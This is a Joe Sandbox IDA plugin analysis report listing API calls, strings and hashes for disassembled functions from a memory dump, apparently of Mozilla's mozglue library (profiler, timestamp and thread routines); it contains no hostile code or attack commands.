Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Ql
API String ID: 2721933968-406761025
Opcode ID: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction ID: 89e085a994dafa142ffc40a84774b79003cff7a337f4b896889fff570ef251c0
Opcode Fuzzy Hash: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction Fuzzy Hash: C75172B1E002149BDF00DBA9DC84EAFBBB9AF89265F154129E815E7741E730ED05CBA1

Function 6C4E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4E6017

Part of subcall function 6C4D4310: moz_xmalloc.MOZGLUE(00000010,?,6C4D42D2), ref: 6C4D436A
Part of subcall function 6C4D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4D42D2), ref: 6C4D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
GetCurrentProcess.KERNEL32 ref: 6C4E5F53
GetCurrentThread.KERNEL32 ref: 6C4E5F5C
GetCurrentProcess.KERNEL32 ref: 6C4E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E60CC

Strings

GeckoMain, xrefs: 6C4E5ECE, 6C4E6015

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction ID: dde8e83f1fcd86cecbf95675bc4b111d03995ff203afee0a47e7edfe99234071
Opcode Fuzzy Hash: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction Fuzzy Hash: 8E719EB0604740DFD700DF28C880E6ABBF0BF9A305F554A6DE98687B52D771E948CB92

Function 6C4E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4D3217
Part of subcall function 6C4D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4D3236
Part of subcall function 6C4D31C0: FreeLibrary.KERNEL32 ref: 6C4D324B
Part of subcall function 6C4D31C0: __Init_thread_footer.LIBCMT ref: 6C4D3260
Part of subcall function 6C4D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4D327F
Part of subcall function 6C4D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D328E
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32AB
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32D1
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4D32E5
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
NtMapViewOfSection, xrefs: 6C4E9701
MapViewOfFileNuma2, xrefs: 6C4E97B1
ntdll.dll, xrefs: 6C4E96E3

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction ID: 47ce4f42ec0c078042cb29ecf1f06401fed4c9443e6af6960a62abd1ff9e295d
Opcode Fuzzy Hash: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction Fuzzy Hash: D361E371B00201EFDF00DF69DC88F9A7BB4EB4A316F924229E91693780D731A858CB95

Function 6C536660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536694
GetThreadId.KERNEL32(?), ref: 6C5366B1
GetCurrentThreadId.KERNEL32 ref: 6C5366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5366E1
EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536734
GetCurrentProcess.KERNEL32 ref: 6C53673A
LeaveCriticalSection.KERNEL32(6C55F618), ref: 6C53676C
GetCurrentThread.KERNEL32 ref: 6C5367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C536868
RtlCaptureContext.NTDLL ref: 6C53687F

Strings

WalkStack64, xrefs: 6C536890

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction ID: 11469bbbd3b68dd6175c17ff3736780095ca8f9000ecd9ad94a2cd8fc4864b30
Opcode Fuzzy Hash: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction Fuzzy Hash: 5E51CB71A09310AFDB11DF24CC48B5ABBF4BF89714F44492DF99887640EBB0E8088B92

Function 6C51DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51DE73
GetCurrentThreadId.KERNEL32 ref: 6C51DF7D
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DF8A
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DFC9
GetCurrentThreadId.KERNEL32 ref: 6C51DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C51DE83
<none>, xrefs: 6C51DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C51E00E

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction ID: 256bd6afa5caf229f38b6bfb87e0c8d251b55abe561817ac6a8b1b33e2bbbe54
Opcode Fuzzy Hash: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction Fuzzy Hash: 24411335B05210DBEB11AF64DC0CBAABB75EB8230CF850219E90997F41DB719D05CBEA

Function 6C52D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D918
GetCurrentThreadId.KERNEL32 ref: 6C52D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D970
GetCurrentThreadId.KERNEL32 ref: 6C52D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52DA2E
GetCurrentThreadId.KERNEL32 ref: 6C52DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C52DA91

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52DAB7

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction ID: 8916d7fd69cbeb8d37a59bf9f06ae8ea45d4a3753c4ad7a5e9a6f24e443f89ba
Opcode Fuzzy Hash: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction Fuzzy Hash: 1F71DF35604304DFCB00DF29C888B9ABBF5FF89314F59856EE85A9B341DB34A844CB95

Function 6C52D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D52A
GetCurrentThreadId.KERNEL32 ref: 6C52D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D55F
free.MOZGLUE(00000000), ref: 6C52D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52D5D3
GetCurrentThreadId.KERNEL32 ref: 6C52D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D652
GetCurrentThreadId.KERNEL32 ref: 6C52D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D6A2

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction ID: 69f038ba679c794bb081c930b888cd97b4f0bc76348e35c3014c58d019c7716f
Opcode Fuzzy Hash: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction Fuzzy Hash: CA519A71A04705DFC704DF35C888A9ABBF4FF89318F418A2EE84A87751EB34A845CB95

Function 6C4D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EC1
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EE1
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F38
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4D1F83
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FC0
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FE2
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4D2019

Strings

MOZ_CRASH(), xrefs: 6C4D2000
DUl, xrefs: 6C4D1F56
\Ul, xrefs: 6C4D1F3E
DUl, xrefs: 6C4D1F32

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DUl$DUl$MOZ_CRASH()$\Ul
API String ID: 2055633661-2068375349
Opcode ID: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction ID: d366c1acbd2f46e2021185ea03c973e8368adda1a51b709d76b7704d6962875d
Opcode Fuzzy Hash: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction Fuzzy Hash: C541D471B043558FDF01EFA8CC98F6A36B5EB4A318F46012AED05D7741DBB5A8048BD6

Function 6C4F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C4F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F57BC
GetTickCount64.KERNEL32 ref: 6C4F58CB
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F58F3
__aulldiv.LIBCMT ref: 6C4F5945
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C55F638,?,?,?,?), ref: 6C4F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C4F56CC

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction ID: 1f81bec8ea9434231b4946615ded6c2377a8b8f80fa253094258920f316f5e88
Opcode Fuzzy Hash: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction Fuzzy Hash: 6FC17E71A097409FD705CF28C840A6ABBF1BFCA714F568B1DE8D497760D730A986CB86

Function 6C51EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EC8C

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51ECA1
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C51ECC5
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51ED19
CloseHandle.KERNEL32(?), ref: 6C51ED28
free.MOZGLUE(00000000), ref: 6C51ED2F
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C51EC94

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction ID: 44e81e904be07cdde344a140e5e76e265843210b56465f102cc368b85304310c
Opcode Fuzzy Hash: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction Fuzzy Hash: 3721B175604104EBEB01AF24DC0CAAA7779EF8626CF954215F81897F40DB729C15CBA5

Function 6C518ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C51B392,?,?,00000001), ref: 6C5191F4

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Strings

timeline-fileio, xrefs: 6C5190A4
name, xrefs: 6C518F16
timeline-ipc, xrefs: 6C519096
data, xrefs: 6C5190E8
stack-chart, xrefs: 6C5190B2
timeline-memory, xrefs: 6C519088
timeline-overview, xrefs: 6C51907A
marker-table, xrefs: 6C51906C
marker-chart, xrefs: 6C51905E

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction ID: 2a8c5b8f0021382e123008cf993b05bec37f93392e3b8ce5098ed5b4819074d7
Opcode Fuzzy Hash: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction Fuzzy Hash: 50B1E2B0A042099BEF04DF98CC95BEEBBF5AF85318F504529D401ABF80D731A944CBD1

Function 6C4FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C4FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4FC9FB
